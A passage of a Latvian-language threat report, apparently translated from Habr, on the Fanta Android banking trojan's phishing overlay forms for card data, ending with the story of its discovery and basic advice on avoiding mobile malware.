  • Fanta izveido pikŔķerÄ“Å”anas logus ar veidlapām informācijas ievadÄ«Å”anai par bankas kartēm, ja tika palaista aplikācija no aptuveni 30 dažādu interneta pakalpojumu saraksta. Starp tiem: AliExpress, Booking, Avito, Google Play tirgus komponents, Pandao, Drom Auto utt.

    PikŔķerÄ“Å”anas veidlapas

    Fanta analizē, kuras lietojumprogrammas darbojas inficētajā ierÄ«cē. Ja tika atvērta interesējoŔā lietojumprogramma, Trojas zirgs virs visiem citiem parāda pikŔķerÄ“Å”anas logu, kas ir veidlapa bankas kartes informācijas ievadÄ«Å”anai. Lietotājam jāievada Ŕādi dati:

    • Kartes numurs
    • Kartes derÄ«guma termiņŔ
    • CVV
    • Kartes Ä«paÅ”nieka vārds (ne visām bankām)

    AtkarÄ«bā no darbojoŔās lietojumprogrammas tiks parādÄ«ti dažādi pikŔķerÄ“Å”anas logi. Tālāk ir sniegti dažu no tiem piemēri:

    AliExpress:

    Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
    Avito:

    Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
    Dažiem citiem lietojumiem, piemēram, Google Play tirgus, Aviasales, Pandao, rezervÄ“Å”ana, Trivago:
    Leysya, Fanta: jauna taktika vecam Android Trojas zirgam

    Kā tas īsti bija

    Par laimi, persona, kas saņēma raksta sākumā aprakstÄ«to SMS Ä«sziņu, izrādÄ«jās kiberdroŔības speciālists. Tāpēc Ä«stā, nerežisora ā€‹ā€‹versija atŔķiras no iepriekÅ” stāstÄ«tās: cilvēks saņēma interesantu SMS, pēc kuras viņŔ to nodeva Grupas-IB draudu medÄ«bu izlÅ«koÅ”anas komandai. Uzbrukuma rezultāts ir Å”is raksts. LaimÄ«gas beigas, vai ne? Tomēr ne visi stāsti beidzas tik veiksmÄ«gi, un, lai jÅ«sējais neizskatÄ«tos pēc režisora ā€‹ā€‹griezuma ar naudas zaudējumiem, vairumā gadÄ«jumu pietiek ar Ŕādu sen aprakstÄ«to noteikumu ievēroÅ”anu:

    • neinstalējiet lietojumprogrammas mobilajām ierÄ«cēm ar Android OS no citiem avotiem, izņemot Google Play
    • Instalējot lietojumprogrammu, pievērsiet Ä«paÅ”u uzmanÄ«bu lietojumprogrammas pieprasÄ«tajām tiesÄ«bām
    • pievērsiet uzmanÄ«bu lejupielādēto failu paplaÅ”inājumiem
    • regulāri instalējiet Android OS atjauninājumus
    • neapmeklējiet aizdomÄ«gos resursus un nelejupielādējiet no turienes failus
    • NeklikŔķiniet uz saitēm, kas saņemtas Ä«sziņās.

Avots: www.habr.com

Pievieno komentāru